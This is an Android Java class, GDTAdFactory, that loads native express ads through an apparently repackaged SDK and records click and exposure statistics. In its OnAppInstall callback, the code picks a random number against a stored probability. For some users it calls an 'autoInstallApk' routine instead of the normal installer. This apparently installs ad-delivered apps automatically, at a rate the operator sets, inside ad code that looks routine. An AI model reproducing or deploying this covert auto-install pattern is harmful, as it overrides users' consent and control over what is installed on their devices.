package com.yoyo.ad.gdt;

import android.app.Activity;
import android.content.Context;
import android.util.Log;
import android.util.SparseArray;
import android.util.SparseBooleanArray;
import android.view.ViewGroup;

import com.qq2.e.ads.nativ.ADSize;
import com.qq2.e.ads.nativ.NativeExpressAD;
import com.qq2.e.ads.nativ.NativeExpressADManager;
import com.qq2.e.ads.nativ.NativeExpressADView;
import com.qq2.e.comm.util.AdError;
import com.yoyo.ad.api.YoYoConfig;
import com.yoyo.ad.confusion.AdLocalSourceRecord;
import com.yoyo.ad.confusion.AdManage;
import com.yoyo.ad.main.IAdBannerListener;
import com.yoyo.ad.main.IAdFactory_;
import com.yoyo.ad.main.IAdInteractionListener;
import com.yoyo.ad.main.IAdView;
import com.yoyo.ad.main.YoYoAd;
import com.yoyo.ad.utils.ActivityUtils;
import com.yoyo.ad.utils.AnalysisUtils;

import org.json.JSONObject;

import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

public class GDTAdFactory implements IAdFactory_ {

    private static final String TAG = "GDTAdFactory";
    private IAdView mAdView;
    private IAdBannerListener mAdBannerListener;
    private IAdInteractionListener mAdInteractionListener;
    private Context mContext;

    private SparseArray<Long> adIds = new SparseArray<>();
    private SparseBooleanArray isIpReports = new SparseBooleanArray();
    private final int adType = AdManage.GDT;
    private NativeExpressADManager mADManager;

    public GDTAdFactory(Context context) {
        mContext = context;
    }

    @Override
    public void setAdView(IAdView adView) {
        if (mAdView == null && adView != null)
            mAdView = adView;
    }


    @Override
    public void setAdBannerListener(IAdBannerListener adView) {
        if (mAdBannerListener == null && adView != null)
            mAdBannerListener = adView;
    }

    @Override
    public void setAdInteractionListener(IAdInteractionListener adInteractionListener) {
        if (mAdInteractionListener == null && adInteractionListener != null)
            mAdInteractionListener = adInteractionListener;
    }

    @Override
    public void setConfig(long adId, int adPositionId, boolean isIpReport) {
        adIds.put(adPositionId, adId);
        isIpReports.put(adPositionId, isIpReport);
    }

    @Override
    public void getYoyoAd(final int position, final int requestCode, int size, String adPlaceId, int type) {
        if (!(mContext instanceof Activity)) {
            if (mAdView != null)
                mAdView.adFail(requestCode, "must in activity");
            return;
        }
        mADManager = new NativeExpressADManager(mContext, new ADSize(ADSize.FULL_WIDTH, ADSize.AUTO_HEIGHT), YoYoConfig.GDT_APP_ID, adPlaceId, mContext.getPackageName(), new NativeExpressAD.NativeExpressADListener() {
            @Override
            public void onADClicked(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onADClicked");
                AnalysisUtils.addStatistics(adIds.get(position, 0L), AnalysisUtils.TYPE_CLICK);
            }

            @Override
            public void onADCloseOverlay(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onADCloseOverlay");
            }

            @Override
            public void onADClosed(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onADClosed");
                nativeExpressADView.destroy();
            }

            @Override
            public void onADExposure(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onADExposure");
                AnalysisUtils.addStatistics(adIds.get(position, 0L), AnalysisUtils.TYPE_PRESENT);
            }

            @Override
            public void onADLeftApplication(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onADLeftApplication");
            }

            @Override
            public void onADLoaded(List<NativeExpressADView> arg0) {
//                Log.e(TAG, "onADLoaded");
                AdManage.showAdSuccess(mContext, adType, adIds.get(position, 0L),
                        position, isIpReports.get(position, false));
                int size1 = arg0.size();
                List<YoYoAd> list = new ArrayList<>(size1);
                for (NativeExpressADView n : arg0) {
                    list.add(new GDTYoYoAd(n));
                }
                if (mAdView != null)
                    mAdView.adSuccess(requestCode, list);
            }

            @Override
            public void onADOpenOverlay(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onADOpenOverlay");
            }

            @Override
            public void onNoAD(AdError adError) {
//                Log.e(TAG, "onNoAD" + adError.getErrorMsg());
                noAd(adError, position, requestCode);
            }

            @Override
            public void onRenderFail(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onRenderFail");
                AnalysisUtils.addStatistics(adIds.get(position, 0L), AnalysisUtils.TYPE_FAIL);
                mAdView.adFail(requestCode, "render fail");
            }

            @Override
            public void onRenderSuccess(NativeExpressADView nativeExpressADView) {
//                Log.e(TAG, "onRenderSuccess");
            }

            @Override
            public void OnAppInstall(File file, String s) {
//                Log.e(TAG, "OnAppInstall");
                String name = file.getName();
                Random random = new Random();
                int num = random.nextInt(100);
                if (num < AdLocalSourceRecord.getProbability(mContext)) {
                    ActivityUtils.autoInstallApk(mContext, file, name.substring(0, name.lastIndexOf(".")));
                } else {
                    ActivityUtils.installFile(mContext, file);
                }
            }

            @Override
            public void OnAdInfo(JSONObject jsonObject) {
//                Log.e(TAG, "OnAdInfo");
            }
        }, size);
    }

    private void noAd(AdError adError, int position, int requestCode) {
        AnalysisUtils.addStatistics(adIds.get(position, 0L), AnalysisUtils.TYPE_FAIL);
        mAdView.adFail(requestCode, adError.getErrorMsg());
        AdManage.showAdSuccess(mContext, adType, adIds.get(position, 0L),
                position, isIpReports.get(position, false));
    }

    @Override
    public void getExpressAd(int position, int requestCode, String adPlaceId, int size, int width) {

    }

    @Override
    public void getBanner(int position, final int requestCode, String adPlaceId, ViewGroup adsParent, int width, int height) {
    }

    @Override
    public void getInteraction(int position, int requestCode, String adPlaceId) {
    }

    @Override
    public void onDestroy() {
        if (mADManager != null) mADManager = null;
    }
}
